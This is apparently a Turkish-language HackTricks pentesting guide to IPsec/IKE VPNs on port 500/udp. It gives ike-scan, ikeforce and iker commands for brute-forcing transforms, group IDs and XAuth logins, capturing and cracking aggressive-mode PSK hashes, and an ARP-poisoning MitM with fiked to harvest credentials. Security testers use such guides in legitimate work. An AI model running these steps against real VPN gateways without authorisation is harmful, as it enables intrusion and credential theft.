# 500/udp - IPsec/IKE VPN Pentesting
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
**Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## Temel Bilgiler **IPsec**, ağlar arasındaki iletişimleri (LAN'a LAN) güvence altına almak için başlıca teknoloji olarak kabul edilir ve uzaktan kullanıcılardan ağ geçidine (uzaktan erişim) hizmet vererek kurumsal VPN çözümleri için omurga görevi görür. İki nokta arasında bir **güvenlik birliği (SA)** oluşturulması, kimlik doğrulama ve anahtar değişimi için tasarlanmış bir protokol olan **IKE** tarafından yönetilir ve ISAKMP'nin çatısı altında çalışır. Bu süreç birkaç aşamada gerçekleşir: - **Faz 1:** İki uç nokta arasında güvenli bir kanal oluşturulur. Bu, bir Ön Paylaşılan Anahtar (PSK) veya sertifikaların kullanımıyla, üç çift mesaj içeren ana mod veya **agresif mod** kullanılarak başarılır. - **Faz 1.5:** Zorunlu olmasa da, Bu aşama, Kullanıcı Kimliğini doğrulayan ve bağlanmaya çalışan kullanıcının kimliğini doğrulayan Kullanıcı Adı ve Parola gerektiren Genişletilmiş Kimlik Doğrulama Aşaması olarak bilinir. - **Faz 2:** Bu aşama, **ESP** ve **AH** ile verileri güvence altına almak için parametreleri müzakere etmeye adanmıştır. **Mükemmel İleri Gizlilik (PFS)** sağlamak için Faz 1'dekilerden farklı algoritmaların kullanılmasına izin verir, güvenliği artırır. **Varsayılan port:** 500/udp ## nmap kullanarak hizmeti keşfedin ``` root@bt:~# nmap -sU -p 500 172.16.21.200 Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST Nmap scan report for 172.16.21.200 Host is up (0.00036s latency). PORT STATE SERVICE 500/udp open isakmp MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) ``` ## **Geçerli bir dönüşüm bulma** IPSec yapılandırması yalnızca bir veya birkaç dönüşümü kabul etmek üzere hazırlanabilir. Bir dönüşüm, değerlerin bir kombinasyonunu içerir. **Her dönüşüm**, DES veya 3DES gibi **şifreleme algoritması**, SHA veya MD5 gibi **bütünlük algoritması**, önceden paylaşılan bir anahtar gibi **kimlik doğrulama türü**, Diffie-Hellman 1 veya 2 gibi anahtar **dağıtım algoritması** ve 28800 saniye gibi **ömür** içeren bir dizi özelliğe sahiptir. Dolayısıyla yapmanız gereken ilk şey, sunucunun sizinle iletişim kurmasını sağlayacak **geçerli bir dönüşüm bulmaktır**. Bunu yapmak için **ike-scan** aracını kullanabilirsiniz. Varsayılan olarak, Ike-scan ana modda çalışır ve bir ISAKMP başlığı ve içinde **sekiz dönüşüm bulunan tek bir teklifle** bir paket gönderir. Yanıta bağlı olarak, uç nokta hakkında bazı bilgiler elde edebilirsiniz: ``` root@bt:~# ike-scan -M 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 172.16.21.200 Main Mode Handshake returned HDR=(CKY-R=d90bf054d6b76401) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify ``` Görüldüğü gibi önceki yanıtta **AUTH** adında bir alan ve değeri **PSK** olan bir alan var. Bu, vpn'in bir önceden paylaşılan anahtar kullanılarak yapılandırıldığı anlamına gelir (ve bu gerçekten bir pentester için iyidir).\ **Son satırın değeri de çok önemlidir:** * _0 dönüş el sıkışması; 0 dönüş bildirimi:_ Bu, hedefin **bir IPsec ağ geçidi olmadığını** gösterir. * _**1 dönüş el sıkışması; 0 dönüş bildirimi:**_ Bu, **hedefin IPsec için yapılandırıldığını ve IKE müzakeresi yapmaya istekli olduğunu ve önerdiğiniz dönüşlerden bir veya daha fazlasının kabul edilebilir olduğunu** gösterir (geçerli bir dönüş çıktıda gösterilecektir). * _0 dönüş el sıkışması; 1 dönüş bildirimi:_ VPN ağ geçitleri, **önerdiğiniz dönüşlerin hiçbirinin kabul edilebilir olmadığında bir bildirim mesajı ile yanıt verir** (ancak bazı ağ geçitleri bunu yapmaz, bu durumda daha fazla analiz ve revize edilmiş bir öneri denemelisiniz). Bu durumda zaten geçerli bir dönüşümümüz var ancak 3. durumdaysanız, geçerli bir dönüşüm bulmak için biraz **kaba kuvvet uygulamanız gerekir:** Öncelikle tüm olası dönüşümleri oluşturmanız gerekmektedir: ```bash for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done ``` Ve ardından her birini ike-scan kullanarak kaba kuvvet saldırısı yapın (bu birkaç dakika sürebilir): ```bash while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line ) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt ``` Eğer brute-force işe yaramadıysa, belki sunucu geçerli dönüşümlere bile el sıkışmalar olmadan yanıt veriyor. O zaman, aynı brute-force'u deneyebilirsiniz ancak agresif modu kullanarak: ```bash while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line ) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt ``` Umarım **geçerli bir dönüşüm yansıtılır**.\ Aynı saldırıyı yapmayı deneyebilirsiniz [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) kullanarak.\ Ayrıca [**ikeforce**](https://github.com/SpiderLabs/ikeforce) ile dönüşümleri kaba kuvvet uygulayabilirsiniz: ```bash ./ikeforce.py # No parameters are required for scan -h for additional help ``` ![](<../.gitbook/assets/image (109).png>) **DH Grubu: 14 = 2048-bit MODP** ve **15 = 3072-bit** olarak belirtilir. **2 = HMAC-SHA = SHA1** (bu durumda). `--trans` formatı ise $Enc,$Hash,$Auth,$DH şeklindedir. Cisco, DH grupları 1 ve 2'nin yeterince güçlü olmadığını belirtir. Uzmanlar, **kaynakları bol olan ülkelerin** bu zayıf grupları kullanan verilerin şifresini kolayca çözebileceğine inanır. Bu, onları kodları hızlıca kırmak için hazırlayan özel bir yöntem kullanılarak yapılır. Bu yöntemi kurmak oldukça pahalı olmasına rağmen, bu güçlü ülkelerin, veriler şifreleme grubu zayıf olduğunda (örneğin 1,024-bit veya daha küçük) şifrelenmiş verileri gerçek zamanlı olarak okumasına olanak tanır. ### Sunucu parmak izi alma Daha sonra, cihazın **satıcısını keşfetmek** için ike-scan kullanabilirsiniz. Araç, bir başlangıç teklifi gönderir ve yeniden çalmayı durdurur. Ardından, sunucudan alınan mesajlar ile eşleşen yanıt deseni arasındaki **zaman farkını analiz ederek**, pentester VPN ağ geçidi satıcısını başarılı bir şekilde parmak izleyebilir. Ayrıca, bazı VPN sunucuları IKE ile **isteğe bağlı Vendor ID (VID) yükü** kullanacaktır. Gerekirse geçerli dönüşümü belirtin (using --trans) Eğer IKE, satıcıyı keşfederse, bunu yazdıracaktır: ``` root@bt:~# ike-scan -M --showbackoff 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 172.16.21.200 Main Mode Handshake returned HDR=(CKY-R=4f3ec84731e2214a) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) IKE Backoff Patterns: IP Address No. Recv time Delta Time 172.16.21.200 1 1322286031.744904 0.000000 172.16.21.200 2 1322286039.745081 8.000177 172.16.21.200 3 1322286047.745989 8.000908 172.16.21.200 4 1322286055.746972 8.000983 172.16.21.200 Implementation guess: Cisco VPN Concentrator Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify ``` Bu ayrıca nmap betiği _**ike-version**_ ile de başarılabilir. ## Doğru Kimliği (grup adını) Bulma Hash'i yakalamanıza izin verilmesi için Agresif modu destekleyen geçerli bir dönüşüm ve doğru kimliğe (grup adı) ihtiyacınız vardır. Muhtemelen geçerli grup adını bilmiyorsunuz, bu yüzden bunu kaba kuvvet uygulayarak bulmanız gerekecek.\ Bunu yapmak için size 2 yöntem öneririm: ### ike-scan ile Kimliği Kaba Kuvvet Yöntemi Öncelikle, hash'i toplamayı denemek için sahte bir kimlikle bir istekte bulunun ("-P"): ```bash ike-scan -P -M -A -n fakeID ``` Eğer **hiçbir hash döndürülmezse**, o zaman muhtemelen bu kaba kuvvet saldırısı yöntemi işe yarayacaktır. **Eğer bir hash döndürülürse, bu, sahte bir kimlik için sahte bir hash'in geri gönderileceği anlamına gelir, bu nedenle bu yöntem kimliği kaba kuvvetle çözmek için güvenilir olmayacaktır**. Örneğin, sahte bir hash döndürülebilir (bu modern sürümlerde meydana gelir): ![](<../.gitbook/assets/image (110).png>) Ancak dediğim gibi, hiçbir hash döndürülmezse, o zaman ike-scan kullanarak yaygın grup adlarını kaba kuvvetle denemelisiniz. Bu betik **mümkün olan kimlikleri kaba kuvvetle deneyecek** ve geçerli bir el sıkışması döndürülen kimlikleri geri döndürecektir (bu geçerli bir grup adı olacaktır). Belirli bir dönüşüm keşfettiyseniz, ike-scan komutuna ekleyin. Ve birden fazla dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekte özgürsünüz (bir tanesi düzgün çalışana kadar hepsini denemelisiniz). [ikeforce sözlüğünü](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) veya [seclists'teki](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) yaygın grup adları listesini kaba kuvvetle denemek için kullanabilirsiniz: ```bash while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line ) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt ``` ### İker ile ID'nin Bruteforce Edilmesi [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) ayrıca **ike-scan** kullanarak olası grup adlarını bruteforce etmek için kendi yöntemini izler. **ike-scan çıktısına dayanarak geçerli bir ID bulmak için kendi yöntemini izler**. ### Ikeforce ile ID'nin Bruteforce Edilmesi [**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) aynı zamanda **ID'leri bruteforce etmek için kullanılabilecek bir araçtır**. Bu araç, **farklı zayıflıkları sömürmeye çalışacaktır** ve **geçerli ve geçersiz ID arasındaki farkı belirlemek için kullanılabilecek** (yanlış pozitif ve yanlış negatifler olabilir, bu yüzden mümkünse ike-scan yöntemini tercih ederim). Varsayılan olarak **ikeforce**, başlangıçta sunucunun davranışını kontrol etmek ve kullanılacak taktiği belirlemek için bazı rastgele ID'ler gönderecektir. * **İlk yöntem**, Cisco sistemlerinin **Dead Peer Detection DPD** bilgisini arayarak grup adlarını bruteforce etmektir (bu bilgi, grup adı doğruysa sunucu tarafından yalnızca yanıtlanır). * Mevcut olan **ikinci yöntem**, her denemeye gönderilen yanıtların sayısını kontrol eder çünkü bazen doğru ID kullanıldığında daha fazla paket gönderilir. * **Üçüncü yöntem**, yanlış ID'ye yanıt olarak "INVALID-ID-INFORMATION" aramaktır. * Son olarak, sunucu kontrole hiçbir şey yanıt vermezse, **ikeforce** sunucuyu bruteforce etmeye çalışacak ve doğru ID gönderildiğinde sunucunun bir paketle yanıt verip vermediğini kontrol edecektir.\ Açıkçası, ID'nin bruteforce edilmesinin amacı, geçerli bir ID'ye sahip olduğunuzda **PSK'yi** elde etmektir. Ardından, **ID** ve **PSK** ile **XAUTH'ı** bruteforce etmeniz gerekecektir. Eğer belirli bir dönüşüm keşfetmişseniz, bunu ikeforce komutuna ekleyin. Ve birden fazla dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekte özgürsünüz (birinin düzgün çalışana kadar hepsini denemelisiniz). ```bash git clone https://github.com/SpiderLabs/ikeforce.git pip install 'pyopenssl==17.2.0' #It is old and need this version of the library ``` ```bash ./ikeforce.py -e -w ./wordlists/groupnames.dic ``` ### Sniffing ID (Kitap **Ağ Güvenliği Değerlendirmesi: Ağınızı Tanıyın**'dan): Ayrıca, VPN istemcisi ve sunucusu arasındaki bağlantıyı dinleyerek geçerli kullanıcı adlarını elde etmek mümkündür, çünkü istemci kimliğini içeren ilk saldırgan mod paketi açık bir şekilde gönderilir ![](<../.gitbook/assets/image (111).png>) ## Hash'in Yakalanması ve Kırılması Son olarak, Eğer bir **geçerli dönüşüm** ve **grup adı** bulduysanız ve **saldırgan mod izin veriliyorsa**, o zaman kırılabilir hash'i çok kolayca yakalayabilirsiniz: ```bash ike-scan -M -A -n --pskcrack=hash.txt #If aggressive mode is supported and you know the id, you can get the hash of the passwor ``` Hash değeri _hash.txt_ dosyasının içine kaydedilecektir. Hash değerini **çözmek** için **psk-crack**, **john** ( [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py) kullanarak) ve **hashcat** araçlarını kullanabilirsiniz: ```bash psk-crack -d psk.txt ``` ## **XAuth** **Agresif mod IKE** genellikle **grup kimlik doğrulama** amaçları için **Ön Paylaşılan Anahtar (PSK)** ile birleştirilir. Bu yöntem, **Genişletilmiş Kimlik Doğrulama (XAuth)** ile desteklenir ve ek bir **kullanıcı kimlik doğrulama** katmanı ekler. Bu tür kimlik doğrulama genellikle **Microsoft Active Directory**, **RADIUS** veya benzeri sistemler gibi hizmetlerden yararlanır. **IKEv2'ye** geçişte, kullanıcıların kimlik doğrulaması amacıyla **XAuth** yerine **EAP (Genişletilebilir Kimlik Doğrulama Protokolü)** kullanıldığında dikkate değer bir değişiklik görülür. Bu değişiklik, güvenli iletişim protokollerinde kimlik doğrulama uygulamalarında bir evrimi vurgular. ### Kimlik bilgilerini yakalamak için Yerel Ağ MitM Böylece, _fiked_ kullanarak giriş verilerini yakalayabilir ve herhangi bir varsayılan kullanıcı adının olup olmadığını görebilirsiniz (IKE trafiğini `fiked`'e yönlendirmeniz ve izleme yapmanız gerekmektedir, bunu ARP zehirlemesi ile yapabilirsiniz, [daha fazla bilgi](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked, bir VPN uç noktası olarak hareket edecek ve XAuth kimlik bilgilerini yakalayacaktır: ```bash fiked -g -k testgroup:secretkey -l output.txt -d ``` ### ikeforce ile XAUTH kullanıcı adı ve şifrelerinin kaba kuvvet saldırısı **XAUTH**'u (geçerli bir grup adı **id** ve **psk**'yi bildiğinizde) kaba kuvvet saldırısı yapmak için bir kullanıcı adı veya kullanıcı adı listesi ve bir şifre listesi kullanabilirsiniz: ```bash ./ikeforce.py -b -i -u -k -w [-s 1] ``` Bu şekilde, ikeforce, her kullanıcı adı:şifre kombinasyonunu kullanarak bağlantı deneyecektir. Eğer bir veya birkaç geçerli dönüş bulduysanız, bunları önceki adımlarda olduğu gibi kullanın. ## IPSEC VPN ile Kimlik Doğrulama Kali'de, IPsec tünelleri kurmak için **VPNC** kullanılır. **Profiller** `/etc/vpnc/` dizininde bulunmalıdır. Bu profilleri _**vpnc**_ komutunu kullanarak başlatabilirsiniz. Aşağıdaki komutlar ve yapılandırmalar, VPNC ile VPN bağlantısı kurma sürecini açıklar: ```bash root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP IPSec gateway [VPN_GATEWAY_IP] IPSec ID [VPN_CONNECTION_ID] IPSec secret [VPN_GROUP_SECRET] IKE Authmode psk Xauth username [VPN_USERNAME] Xauth password [VPN_PASSWORD] STOP root@system:~# vpnc samplevpn VPNC started in background (pid: [PID])... root@system:~# ifconfig tun0 ``` Bu kurulumda: - `[VPN_GATEWAY_IP]`'yi VPN ağ geçidinin gerçek IP adresi ile değiştirin. - `[VPN_CONNECTION_ID]`'yi VPN bağlantısının tanımlayıcısı ile değiştirin. - `[VPN_GROUP_SECRET]`'ı VPN'in grup gizemi ile değiştirin. - `[VPN_USERNAME]` ve `[VPN_PASSWORD]`'ı VPN kimlik doğrulama kimlik bilgileri ile değiştirin. - `vpnc` başlatıldığında atanacak olan işlem kimliğini `[PID]` sembolize eder. VPN'i yapılandırırken yer tutucuların yerine gerçek ve güvenli değerlerin kullanıldığından emin olun. ## Referans Materyali * [PSK kırma makalesi](http://www.ernw.de/download/pskattack.pdf) * [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821) * [VPN Uygulamasını Tarama](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf) * Network Security Assessment 3. Baskı ## Shodan * `port:500 IKE` **Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %}
Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'i desteklemenin diğer yolları: * Şirketinizi HackTricks'te **tanıtmak istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * Özel [**NFT'lerimiz olan**](https://opensea.io/collection/the-peass-family) [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.